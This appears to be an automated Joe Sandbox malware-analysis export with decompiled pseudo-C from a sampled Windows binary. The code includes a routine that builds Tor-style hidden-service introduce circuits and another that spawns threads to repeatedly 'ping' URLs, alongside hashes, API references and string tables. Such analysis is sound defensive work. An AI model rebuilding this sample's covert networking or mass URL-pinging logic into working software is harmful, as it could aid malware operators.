Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroyHash
String ID:
API String ID: 174375392-0
Opcode ID: 82229a8bfcb88ffd1a731cd8d7aee8cb9f24b9a8b37bd2e0e31cbd439ca3ae13
Instruction ID: 35edd60d5be4889df55e15698e6dd36a1dee7b0ef8e9f6651573636918ddcd7c
Opcode Fuzzy Hash: 82229a8bfcb88ffd1a731cd8d7aee8cb9f24b9a8b37bd2e0e31cbd439ca3ae13
Instruction Fuzzy Hash: D8D0A757E25E0081EF204B64E800334A310AB98F36F140320C97E452D19F2C40164200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78496C Relevance: 1.5, APIs: 1, Instructions: 11encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF61D78497E

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroy
String ID:
API String ID: 1712904745-0
Opcode ID: 83a6b2d7346daa7df0a4383c9c91dd95b8af704b165b33c969f48c7f8df7eddf
Instruction ID: 66a1d140315450176de5876bd921d373c9890d533db5e97295f5708aac493820
Opcode Fuzzy Hash: 83a6b2d7346daa7df0a4383c9c91dd95b8af704b165b33c969f48c7f8df7eddf
Instruction Fuzzy Hash: E7C01292A1698882EF298BA6E48633493209F58F69F1C5024CA0D89240EE2C88EE8210

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D787CD8 Relevance: 1.3, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF61D787CF2

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a07d17ced887a812a85832b79f6142cfb2f17979e42fa637c26bfb73b906155
Instruction ID: 65e196f764499db7aae8885b03d7f6291c55f4a8cdbd1fc4b1c8e144ad485894
Opcode Fuzzy Hash: 8a07d17ced887a812a85832b79f6142cfb2f17979e42fa637c26bfb73b906155
Instruction Fuzzy Hash: DF110373A14B8597D319CF39D6405A87370F79CB98B14A325DF9803A16EF34E5A4CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78996C Relevance: 24.8, APIs: 5, Strings: 9, Instructions: 280
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00007FF67FF61D78996C(void* __edi, long long __rbx, intOrPtr* __rcx, long long __rdi, long long __rsi) {
				void* __rbp;
				void* _t77;
				void* _t89;
				intOrPtr* _t132;
				intOrPtr* _t135;
				intOrPtr* _t139;
				void* _t142;
				intOrPtr _t144;
				intOrPtr _t148;
				long long _t154;
				intOrPtr* _t159;
				intOrPtr* _t160;
				intOrPtr* _t161;
				intOrPtr* _t200;
				intOrPtr* _t203;
				void* _t206;
				void* _t207;
				void* _t208;
				intOrPtr _t225;
				signed long long _t226;

				_t128 = __edi;
				_t142 = _t207;
				_t206 = _t142 - 0x5f;
				_t208 = _t207 - 0x100;
				 *((long long*)(_t206 - 0x39)) = 0xfffffffe;
				 *((long long*)(_t142 + 8)) = __rbx;
				 *((long long*)(_t142 + 0x10)) = __rsi;
				 *((long long*)(_t142 + 0x18)) = __rdi;
				_t200 = __rcx;
				 *(_t208 + 0x30) =  *(_t208 + 0x30) & 0x00000000;
				_t203 =  *((intOrPtr*)(__rcx + 0x80));
				_t225 =  *((intOrPtr*)(__rcx + 0x88));
				if (_t203 == _t225) goto 0x1d789c7f;
				_t10 = (_t226 | 0xffffffff) + 2; // 0xd9f748ff418d48ca
				r13d = _t10;
				 *((long long*)(_t208 + 0x48)) =  *_t203;
				_t12 = _t203 + 8; // 0x8
				E00007FF67FF61D789DD8(_t203 - _t225, __rbx, _t206 - 0x79, _t12, _t203, _t206);
				_t144 =  *((intOrPtr*)(_t200 + 8));
				__imp__#12();
				E00007FF67FF61D781BA8(_t144, _t206 - 9);
				 *(_t208 + 0x30) =  *(_t208 + 0x30) | r13d;
				 *(_t208 + 0x28) =  *( *((intOrPtr*)(_t144 + 8)) + 0x5c) & 0x0000ffff;
				 *((long long*)(_t208 + 0x20)) =  *((intOrPtr*)(_t144 + 8));
				_t77 = E00007FF67FF61D781720(r13d, __edi, 0x1d79d010, "\tCreating circuit for hidden service introduce, connecting to \'%s\' (%s:%u)\n",  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t200 + 8)) + 8)) + 0x40)));
				 *(_t208 + 0x30) =  *(_t208 + 0x30) & 0xfffffffe;
				E00007FF67FF61D781BDC(_t77, _t206 - 9);
				E00007FF67FF61D78A54C( *(_t208 + 0x30) | r13d, __edi,  *((intOrPtr*)(_t200 + 8)), _t208 + 0x38, _t203);
				if ( *((long long*)(_t208 + 0x38)) != 0) goto 0x1d789aa5;
				if ( *((intOrPtr*)(_t208 + 0x38)) == 0) goto 0x1d789a6a;
				E00007FF67FF61D784FDC( *((intOrPtr*)(_t208 + 0x38)), _t208 + 0x38);
				_t159 =  *((intOrPtr*)(_t208 + 0x40));
				_t132 = _t159;
				if (_t132 == 0) goto 0x1d789aa0;
				asm("lock xadd [ebx+0x8], eax");
				if (_t132 != 0) goto 0x1d789aa0;
				 *((intOrPtr*)( *_t159))();
				asm("lock xadd [ebx+0xc], eax");
				if (_t132 != 0) goto 0x1d789aa0;
				 *((intOrPtr*)( *_t159 + 8))();
				goto 0x1d789c68;
				E00007FF67FF61D781720(r13d, __edi, 0x1d79d010, "\tConnected...\n",  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t200 + 8)) + 8)) + 0x40)));
				_t148 =  *((intOrPtr*)(_t208 + 0x48));
				__imp__#12();
				E00007FF67FF61D781BA8(_t148, _t206 + 0x17);
				 *(_t208 + 0x30) =  *(_t208 + 0x30) | 0x00000002;
				 *(_t208 + 0x28) =  *(_t148 + 0x5c) & 0x0000ffff;
				 *((long long*)(_t208 + 0x20)) =  *((intOrPtr*)(_t148 + 8));
				_t89 = E00007FF67FF61D781720(r13d, __edi, 0x1d79d010, "\tExtending circuit to introduction point \'%s\' (%s:%u)\n",  *((intOrPtr*)( *((intOrPtr*)(_t208 + 0x48)) + 0x40)));
				 *(_t208 + 0x30) =  *(_t208 + 0x30) & 0xfffffffd;
				E00007FF67FF61D781BDC(_t89, _t206 + 0x17);
				if (E00007FF67FF61D785284( *(_t208 + 0x30) | 0x00000002, __edi, _t159,  *((intOrPtr*)(_t208 + 0x38)),  *((intOrPtr*)(_t208 + 0x48))) != 0) goto 0x1d789b8c;
				E00007FF67FF61D781720(2, __edi, 0x1d79d010, "\tError while extending the introduce circuit\n",  *((intOrPtr*)( *((intOrPtr*)(_t208 + 0x48)) + 0x40)));
				if ( *((intOrPtr*)(_t208 + 0x38)) == 0) goto 0x1d789b51;
				E00007FF67FF61D784FDC( *((intOrPtr*)(_t208 + 0x38)),  *((intOrPtr*)(_t208 + 0x48)));
				_t160 =  *((intOrPtr*)(_t208 + 0x40));
				_t135 = _t160;
				if (_t135 == 0) goto 0x1d789b87;
				asm("lock xadd [ebx+0x8], eax");
				if (_t135 != 0) goto 0x1d789b87;
				 *((intOrPtr*)( *_t160))();
				asm("lock xadd [ebx+0xc], eax");
				if (_t135 != 0) goto 0x1d789b87;
				 *((intOrPtr*)( *_t160 + 8))();
				goto 0x1d789c68;
				E00007FF67FF61D781720(r13d, _t128, _t160, "\tExtended...\n",  *((intOrPtr*)( *((intOrPtr*)(_t208 + 0x48)) + 0x40)));
				E00007FF67FF61D781720(r13d, _t128, 0x1d79d010, "\tSending introduce...\n",  *((intOrPtr*)( *((intOrPtr*)(_t208 + 0x48)) + 0x40)));
				 *((long long*)(_t206 - 0x59)) =  *((intOrPtr*)(_t206 - 0x71));
				 *((long long*)(_t206 - 0x51)) =  *((intOrPtr*)(_t206 - 0x69));
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x29], xmm0");
				_t154 = _t200 + 0x98;
				 *((long long*)(_t206 - 0x49)) = _t154;
				 *((long long*)(_t206 - 0x41)) = _t154 + 0x14;
				asm("movaps xmm0, [ebp-0x49]");
				asm("movdqa [ebp-0x19], xmm0");
				if (E00007FF67FF61D7856B4( *(_t208 + 0x30) | 0x00000002, _t128,  *((intOrPtr*)(_t208 + 0x38)),  *_t200, _t206 - 0x19, _t206 - 0x29) != 0) goto 0x1d789d0d;
				E00007FF67FF61D781720(2, _t128, 0x1d79d010, "\tIntroduce failed...\n", _t206 - 0x29);
				if ( *((intOrPtr*)( *_t200 + 0xc)) == 5) goto 0x1d789ca2;
				if ( *((intOrPtr*)(_t208 + 0x38)) == 0) goto 0x1d789c32;
				E00007FF67FF61D784FDC( *((intOrPtr*)(_t208 + 0x38)),  *_t200);
				_t161 =  *((intOrPtr*)(_t208 + 0x40));
				_t139 = _t161;
				if (_t139 == 0) goto 0x1d789c68;
				asm("lock xadd [ebx+0x8], eax");
				if (_t139 != 0) goto 0x1d789c68;
				 *((intOrPtr*)( *_t161))();
				asm("lock xadd [ebx+0xc], eax");
				if (_t139 != 0) goto 0x1d789c68;
				 *((intOrPtr*)( *_t161 + 8))();
				free(??);
				if (_t203 + 0x28 != _t225) goto 0x1d7899c5;
				return 0;
			}

0x7ff61d78996c
0x7ff61d78996c
0x7ff61d789978
0x7ff61d78997c
0x7ff61d789983
0x7ff61d78998b
0x7ff61d78998f
0x7ff61d789993
0x7ff61d789997
0x7ff61d78999a
0x7ff61d78999f
0x7ff61d7899a6
0x7ff61d7899b0
0x7ff61d7899ba
0x7ff61d7899ba
0x7ff61d7899c8
0x7ff61d7899cd
0x7ff61d7899d5
0x7ff61d7899db
0x7ff61d7899ea
0x7ff61d7899fa
0x7ff61d789a06
0x7ff61d789a16
0x7ff61d789a1a
0x7ff61d789a30
0x7ff61d789a35
0x7ff61d789a3e
0x7ff61d789a4c
0x7ff61d789a58
0x7ff61d789a62
0x7ff61d789a64
0x7ff61d789a6a
0x7ff61d789a6f
0x7ff61d789a72
0x7ff61d789a77
0x7ff61d789a7f
0x7ff61d789a87
0x7ff61d789a8c
0x7ff61d789a94
0x7ff61d789a9c
0x7ff61d789aa0
0x7ff61d789ab2
0x7ff61d789ab7
0x7ff61d789ac3
0x7ff61d789ad3
0x7ff61d789adf
0x7ff61d789aec
0x7ff61d789af0
0x7ff61d789b06
0x7ff61d789b0b
0x7ff61d789b14
0x7ff61d789b2d
0x7ff61d789b3b
0x7ff61d789b49
0x7ff61d789b4b
0x7ff61d789b51
0x7ff61d789b56
0x7ff61d789b59
0x7ff61d789b5e
0x7ff61d789b66
0x7ff61d789b6e
0x7ff61d789b73
0x7ff61d789b7b
0x7ff61d789b83
0x7ff61d789b87
0x7ff61d789b96
0x7ff61d789ba8
0x7ff61d789bb1
0x7ff61d789bb9
0x7ff61d789bbd
0x7ff61d789bc1
0x7ff61d789bc6
0x7ff61d789bd1
0x7ff61d789bd5
0x7ff61d789bd9
0x7ff61d789bdd
0x7ff61d789bfc
0x7ff61d789c10
0x7ff61d789c1c
0x7ff61d789c2a
0x7ff61d789c2c
0x7ff61d789c32
0x7ff61d789c37
0x7ff61d789c3a
0x7ff61d789c3f
0x7ff61d789c47
0x7ff61d789c4f
0x7ff61d789c54
0x7ff61d789c5c
0x7ff61d789c64
0x7ff61d789c6c
0x7ff61d789c79
0x7ff61d789ca1

APIs

inet_ntoa.WS2_32 ref: 00007FF61D7899EA

Part of subcall function 00007FF61D781720: GetCurrentThreadId.KERNEL32 ref: 00007FF61D781743
Part of subcall function 00007FF61D781720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF61D7888EE), ref: 00007FF61D781750
Part of subcall function 00007FF61D781720: _cwprintf_s_l.LIBCMT ref: 00007FF61D781791

Part of subcall function 00007FF61D781BDC: free.MSVCRT ref: 00007FF61D781BF2

inet_ntoa.WS2_32 ref: 00007FF61D789AC3
free.MSVCRT ref: 00007FF61D789C6C
free.MSVCRT ref: 00007FF61D789D02
free.MSVCRT ref: 00007FF61D789D67

Part of subcall function 00007FF61D784FDC: free.MSVCRT ref: 00007FF61D785022

Strings

Extending circuit to introduction point '%s' (%s:%u), xrefs: 00007FF61D789AF9
Connected..., xrefs: 00007FF61D789AA5
circuit %X is destroyed., xrefs: 00007FF61D789CA6
Extended..., xrefs: 00007FF61D789B8C
Error while extending the introduce circuit, xrefs: 00007FF61D789B2F
Introduced successfully..., xrefs: 00007FF61D789D0D
Introduce failed..., xrefs: 00007FF61D789C02
Creating circuit for hidden service introduce, connecting to '%s' (%s:%u), xrefs: 00007FF61D789A23
Sending introduce..., xrefs: 00007FF61D789B9B

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free$inet_ntoa$CurrentLocalThreadTime_cwprintf_s_l
String ID: Connected...$Creating circuit for hidden service introduce, connecting to '%s' (%s:%u)$Error while extending the introduce circuit$Extended...$Extending circuit to introduction point '%s' (%s:%u)$Introduce failed...$Introduced successfully...$Sending introduce...$circuit %X is destroyed.
API String ID: 173892578-86379327
Opcode ID: 99c62b1b4436d4ad838a72f277c1e7031758cff70b58d258c23b9ebefd98f7ef
Instruction ID: 347b9ecc42a7fc5bfc231bb5ecd3b5f0dcc82b8e016bff641321e05a2bcfcbcb
Opcode Fuzzy Hash: 99c62b1b4436d4ad838a72f277c1e7031758cff70b58d258c23b9ebefd98f7ef
Instruction Fuzzy Hash: 23C15F76A08E4186EB44DF65E4402AD73A0FB89FB8B049136DE4E97764EF3CD84AD740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78F768 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 276
synchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00007FF67FF61D78F768(void* __ecx, void* __edi, void* __ebp, void* __rax, long long __rcx, void* __rdx, void* __r13) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* _t219;
				void* _t226;
				intOrPtr _t229;
				void* _t256;
				void* _t308;
				long long _t310;
				signed long long _t328;
				long long _t329;
				long long _t330;
				void* _t332;
				signed long long _t349;
				void* _t356;
				long long _t357;
				void** _t358;
				void* _t367;
				void* _t372;
				void* _t373;
				signed long long _t375;
				signed int _t376;
				void* _t395;
				intOrPtr* _t405;
				long long _t408;
				signed long long _t452;
				signed long long _t454;
				signed long long _t455;
				int _t457;
				void* _t458;
				signed long long _t459;
				long long _t460;
				void* _t461;
				int _t465;
				signed long long _t468;
				signed long long _t469;
				void* _t471;
				signed long long _t473;
				signed long long _t474;
				void* _t480;
				long long _t481;
				int _t483;
				void* _t484;
				void* _t485;
				void* _t486;
				void* _t488;
				void* _t489;
				void* _t490;
				void* _t491;
				void* _t492;
				void* _t493;
				void* _t494;
				void* _t495;
				void* _t514;
				signed long long _t515;
				signed long long _t521;
				intOrPtr _t526;
				void* _t527;
				signed long long _t528;
				void* _t529;
				char* _t530;
				intOrPtr _t531;
				long long _t534;
				void* _t537;
				signed long long _t538;
				signed long long _t539;
				void* _t540;
				intOrPtr _t541;
				int _t544;
				signed long long _t547;
				void* _t550;

				_t308 = __rax;
				 *((long long*)(_t488 + 8)) = __rcx;
				_t484 = _t488 - 0x28;
				_t489 = _t488 - 0x128;
				 *((long long*)(_t484 - 0x40)) = 0xfffffffe;
				_t534 = __rcx;
				r12d = 0;
				 *(_t489 + 0x30) = 0;
				 *((intOrPtr*)(_t489 + 0x20)) =  *((intOrPtr*)(__rcx + 0x20));
				_t8 = _t471 + 1; // 0x1
				E00007FF67FF61D781720(_t8, __edi, 0x1d79d010, "Ping url %s for %d times\n\n",  *((intOrPtr*)(__rcx + 8)));
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x68], xmm0");
				 *(_t489 + 0x78) = _t356;
				 *((intOrPtr*)(_t484 + 0x78)) = 0;
				_t538 =  *(_t489 + 0x68);
				if ( *((intOrPtr*)(__rcx + 0x20)) <= 0) goto 0x1d78fa54;
				_t517 =  *((intOrPtr*)(__rcx + 8));
				E00007FF67FF61D781720(1, 0, 0x1d79d010, "Ping URL %s\n",  *((intOrPtr*)(__rcx + 8)));
				_t15 = _t484 - 0x20; // -32
				E00007FF67FF61D781B5C(_t308, _t15, __rcx);
				malloc(_t544);
				_t458 = _t308;
				 *(_t484 + 0x80) = _t308;
				 *(_t484 + 0x88) = _t308;
				if (_t308 == 0) goto 0x1d78f97f;
				_t18 = _t484 - 0x60; // -96
				 *((long long*)(_t489 + 0x58)) = _t18;
				_t20 = _t484 - 0x20; // -32
				_t21 = _t484 - 0x60; // -96
				E00007FF67FF61D781B5C(_t18, _t21, _t20);
				_t22 = _t484 - 0x60; // -96
				_t310 = _t22;
				 *((long long*)(_t484 - 0x38)) = _t310;
				_t24 = _t484 - 0x60; // -96
				E00007FF67FF61D78FF80(_t310, _t484, _t24, _t537);
				_t357 = _t310;
				 *((long long*)(_t489 + 0x58)) = _t310;
				 *((long long*)(_t484 - 0x68)) = E00007FF67FF61D790078;
				 *((long long*)(_t484 - 0x70)) = 0x1d795748;
				 *((long long*)(_t484 - 0x30)) = _t489 + 0x38;
				 *((long long*)(_t484 - 0x28)) = _t489 + 0x38;
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x40], xmm0");
				 *(_t489 + 0x50) = _t471;
				 *((long long*)(_t489 + 0x40)) =  *((intOrPtr*)(_t357 + 8));
				 *((long long*)(_t357 + 8)) =  *((intOrPtr*)(_t489 + 0x40));
				 *((long long*)(_t489 + 0x48)) =  *((intOrPtr*)(_t357 + 0x10));
				 *((long long*)(_t357 + 0x10)) =  *((intOrPtr*)(_t489 + 0x48));
				 *(_t489 + 0x50) =  *((intOrPtr*)(_t357 + 0x18));
				 *((long long*)(_t357 + 0x18)) =  *(_t489 + 0x50);
				_t46 = _t484 - 0x80; // -128
				_t219 = E00007FF67FF61D781BDC(E00007FF67FF61D78FFEC(__ebp, _t308,  *((intOrPtr*)(_t357 + 0x18)), _t357, _t46, _t489 + 0x38, _t458,  *((intOrPtr*)(__rcx + 8)), __r13, _t527), _t357);
				_t47 = _t484 - 0x60; // -96
				E00007FF67FF61D781BDC(_t219, _t47);
				r12d = r12d | 0x00000001;
				 *(_t489 + 0x30) = r12d;
				 *_t458 = 0x1d793bc8;
				 *(_t458 + 8) = _t471;
				 *((intOrPtr*)(_t458 + 0x10)) = 0;
				 *((intOrPtr*)(_t458 + 0x14)) = sil;
				 *_t458 = 0x1d795718;
				_t52 = _t458 + 0x18; // 0x18
				_t358 = _t52;
				_t358[4] = 0x1d795728;
				 *_t358 = _t471;
				_t358[6] = _t471;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t484 - 0x70))))))();
				 *( *(_t358[4]))();
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t489 + 0x48))))))();
				_t358[6] =  *((intOrPtr*)(_t484 - 0x68));
				 *((long long*)(_t484 - 0x68)) = _t358[6];
				goto 0x1d78f986;
				 *(_t484 + 0x80) = _t471;
				if ((r12b & 0x00000001) == 0) goto 0x1d78f9a3;
				r12d = r12d & 0xfffffffe;
				 *(_t489 + 0x30) = r12d;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t484 - 0x70)) + 0x18))))();
				_t547 =  *((intOrPtr*)(_t489 + 0x70)) - _t538 >> 3;
				_t395 = _t547 + 1;
				_t328 =  *(_t489 + 0x78) - _t538 >> 3;
				if (_t395 - _t328 <= 0) goto 0x1d78fa1f;
				goto 0x1d78f9cb;
				_t473 = 4 + _t328 * 4 << 2;
				if (_t395 - _t473 >= 0) goto 0x1d78f9c7;
				if (_t473 - _t328 <= 0) goto 0x1d78fa1d;
				_t474 = _t473 << 3;
				malloc(_t457);
				_t459 = _t328;
				_t226 = memmove(_t471, _t356, _t483);
				free(??);
				_t539 = _t459;
				 *(_t489 + 0x68) = _t459;
				 *((long long*)(_t489 + 0x70)) = (_t547 << 3) + _t459;
				 *(_t489 + 0x78) = _t474 + _t459;
				_t329 =  *(_t484 + 0x80);
				 *((long long*)(_t539 + _t547 * 8)) = _t329;
				_t460 = _t539 + (_t547 + 1) * 8;
				 *((long long*)(_t489 + 0x70)) = _t460;
				_t88 = _t484 - 0x20; // -32
				E00007FF67FF61D781BDC(_t226, _t88);
				_t229 =  *((intOrPtr*)(_t484 + 0x78)) + 1;
				 *((intOrPtr*)(_t484 + 0x78)) = _t229;
				if (_t229 -  *((intOrPtr*)(_t534 + 0x20)) < 0) goto 0x1d78f7e3;
				E00007FF67FF61D781720(1, 0, 0x1d79d010, "Start ping threads...\n", _t517);
				_t367 =  >  ? _t329 : _t460 - _t539 + 7 >> 3;
				_t528 = _t539;
				if (_t367 == 0) goto 0x1d78fad7;
				r13d = 0;
				_t461 =  *_t528;
				if ( *((intOrPtr*)(_t461 + 8)) != _t534) goto 0x1d78fac7;
				if ( *((intOrPtr*)(_t461 + 0x14)) != r13b) goto 0x1d78fac7;
				_t94 = _t461 + 0x10; // 0x10
				_t330 = _t94;
				 *((long long*)(_t489 + 0x28)) = _t330;
				 *((intOrPtr*)(_t489 + 0x20)) = r13d;
				_t518 = _t461;
				CreateThread(??, ??, ??, ??, ??, ??);
				 *((long long*)(_t461 + 8)) = _t330;
				_t529 = _t528 + 8;
				if (_t474 + 1 != _t367) goto 0x1d78fa91;
				E00007FF67FF61D781720(1, 0, 0x1d79d010, "Wait for pings to complete...\n", _t461);
				r12d = 0;
				_t278 = r12d;
				_t372 =  >  ? _t529 : _t460 - _t539 + 7 >> 3;
				if (_t372 == 0) goto 0x1d78fb2e;
				WaitForSingleObject(??, ??);
				if (_t461 + 1 != _t372) goto 0x1d78fb12;
				if (_t372 == 0) goto 0x1d78fb57;
				_t405 =  *_t539;
				if (_t405 == 0) goto 0x1d78fb4b;
				 *((intOrPtr*)( *_t405))();
				if (_t529 + 1 != _t372) goto 0x1d78fb39;
				E00007FF67FF61D781720(1, r12d, 0x1d79d010, "All pings completed\n", _t461);
				free(??);
				_t408 =  *((intOrPtr*)(_t484 + 0x70));
				_t490 = _t489 + 0x128;
				_pop(_t550);
				_pop(_t540);
				_pop(_t530);
				_pop(_t465);
				_pop(_t480);
				_pop(_t373);
				_pop(_t485);
				goto E00007FF67FF61D781BDC;
				asm("int3");
				asm("int3");
				asm("int3");
				 *((long long*)(_t490 + 8)) = _t408;
				_t491 = _t490 - 0x38;
				 *((long long*)(_t491 + 0x20)) = 0xfffffffe;
				_t492 = _t491 + 0x38;
				goto E00007FF67FF61D781BDC;
				asm("int3");
				 *((long long*)(_t492 + 8)) = _t408;
				_t493 = _t492 - 0x38;
				 *((long long*)(_t493 + 0x20)) = 0xfffffffe;
				_t494 = _t493 + 0x38;
				goto E00007FF67FF61D781BDC;
				asm("int3");
				_t332 = _t494;
				 *((long long*)(_t332 + 8)) = _t408;
				_t486 = _t332 - 0x5f;
				_t495 = _t494 - 0xe0;
				 *((long long*)(_t486 - 0x61)) = 0xfffffffe;
				asm("movaps [eax-0x48], xmm6");
				_t481 = _t408;
				 *(_t495 + 0x30) =  *(_t495 + 0x30) & 0x00000000;
				 *(_t408 + 8) =  *(_t408 + 8) & 0x00000000;
				 *(_t408 + 0x10) =  *(_t408 + 0x10) & 0x00000000;
				 *(_t408 + 0x18) =  *(_t408 + 0x18) & 0x00000000;
				 *(_t495 + 0x30) = 1;
				E00007FF67FF61D781720(1, _t278, 0x1d79d010, "Get pings...\n\n", _t518);
				 *(_t486 + 0x6f) = _t495 + 0x38;
				E00007FF67FF61D781BA8(_t495 + 0x38, _t495 + 0x38);
				E00007FF67FF61D78F120(0, __ebp, _t486 - 0x39, _t495 + 0x38, _t518, _t550, _t540); // executed
				E00007FF67FF61D781720(1, _t278, 0x1d79d010, "%s\n\n",  *((intOrPtr*)(_t486 - 0x31)));
				 *((long long*)(_t495 + 0x20)) = "\n";
				 *((long long*)(_t495 + 0x28)) = 0x1d7937f1;
				asm("movaps xmm0, [esp+0x20]");
				asm("movdqa [esp+0x20], xmm0");
				E00007FF67FF61D781C90(_t486 - 0x39, _t486 - 0x59);
				_t541 =  *((intOrPtr*)(_t486 - 0x51));
				_t531 =  *((intOrPtr*)(_t486 - 0x49));
				if (_t541 == _t531) goto 0x1d78fec7;
				 *((long long*)(_t495 + 0x20)) = 0x1d7953a8;
				 *((long long*)(_t495 + 0x28)) = 0x1d7953a9;
				asm("movaps xmm6, [esp+0x20]");
				asm("movdqa [esp+0x20], xmm6");
				E00007FF67FF61D781C90(_t541, _t495 + 0x38);
				if (( *((intOrPtr*)(_t486 - 0x71)) -  *((intOrPtr*)(_t486 - 0x79)) & 0xffffffe0) == 0x40) goto 0x1d78fd2b;
				E00007FF67FF61D781720(1, _t278, 0x1d79d010, "bad URL info: %s\n\n",  *((intOrPtr*)(_t541 + 8)));
				E00007FF67FF61D781B5C( *((intOrPtr*)(_t486 - 0x71)) -  *((intOrPtr*)(_t486 - 0x79)) & 0xffffffe0, _t486 - 0x19,  *((intOrPtr*)(_t486 - 0x79)));
				 *(_t486 + 0x6f) =  *(_t486 + 0x6f) & 0x00000000;
				_t452 = "%d";
				sscanf(_t530);
				 *(_t486 + 7) =  *(_t486 + 0x6f);
				_t468 = (_t452 >> 4) + (_t452 >> 4 >> 0x3f);
				_t514 = _t468 + 1;
				_t454 = (_t452 >> 4) + (_t452 >> 4 >> 0x3f);
				if (_t514 - _t454 <= 0) goto 0x1d78fe72;
				goto 0x1d78fdb0;
				_t349 = 4 + _t454 * 4 << 2;
				if (_t514 - _t349 >= 0) goto 0x1d78fdac;
				if (_t349 - _t454 <= 0) goto 0x1d78fe72;
				malloc(_t465);
				_t375 = _t349;
				_t526 =  *((intOrPtr*)(_t481 + 0x10));
				_t521 =  *(_t481 + 8);
				if (_t521 - _t526 >= 0) goto 0x1d78fe47;
				_t515 = _t521;
				_t455 = _t349;
				 *(_t486 + 0x6f) = _t455;
				 *(_t486 + 0x77) = _t455;
				 *(_t455 + 8) =  *(_t455 + 8) & 0x00000000;
				 *(_t455 + 0x10) =  *(_t455 + 0x10) & 0x00000000;
				 *(_t455 + 0x18) =  *(_t455 + 0x18) & 0x00000000;
				 *(_t455 + 8) =  *((intOrPtr*)(_t515 + 8));
				 *((long long*)(_t515 + 8)) =  *(_t455 + 8);
				 *(_t455 + 0x10) =  *((intOrPtr*)(_t515 + 0x10));
				 *((long long*)(_t515 + 0x10)) =  *(_t455 + 0x10);
				 *(_t455 + 0x18) =  *((intOrPtr*)(_t515 + 0x18));
				 *((long long*)(_t515 + 0x18)) =  *(_t455 + 0x18);
				 *((intOrPtr*)(_t455 + 0x20)) =  *((intOrPtr*)(_t515 + 0x20));
				if (_t521 + 0x28 - _t526 < 0) goto 0x1d78fde2;
				free(_t480);
				 *(_t481 + 8) = _t375;
				 *((long long*)(_t481 + 0x10)) = _t375 + (_t468 + _t468 * 4) * 8;
				 *((long long*)(_t481 + 0x18)) = (_t349 + _t349 * 4 << 3) + _t375;
				_t469 = _t468 + _t468 * 4;
				_t376 = _t375 + _t469 * 8;
				 *(_t486 + 0x6f) = _t376;
				E00007FF67FF61D781B5C((_t349 + _t349 * 4 << 3) + _t375, _t376, _t486 - 0x19);
				 *(_t376 + 0x20) =  *(_t486 + 7);
				 *((long long*)(_t481 + 0x10)) =  *(_t481 + 8) + 0x28 + _t469 * 8;
				E00007FF67FF61D781BDC( *(_t486 + 7), _t486 - 0x19);
				E00007FF67FF61D781F00(_t376, _t495 + 0x38, _t481, _t373);
				if (_t541 + 0x20 != _t531) goto 0x1d78fce0;
				_t256 = E00007FF67FF61D781BDC(E00007FF67FF61D781F00(_t376, _t486 - 0x59, _t481, _t485), _t486 - 0x39);
				asm("movaps xmm6, [esp+0xd0]");
				return _t256;
			}

0x7ff61d78f768
0x7ff61d78f768
0x7ff61d78f779
0x7ff61d78f77e
0x7ff61d78f785
0x7ff61d78f78d
0x7ff61d78f792
0x7ff61d78f795
0x7ff61d78f79c
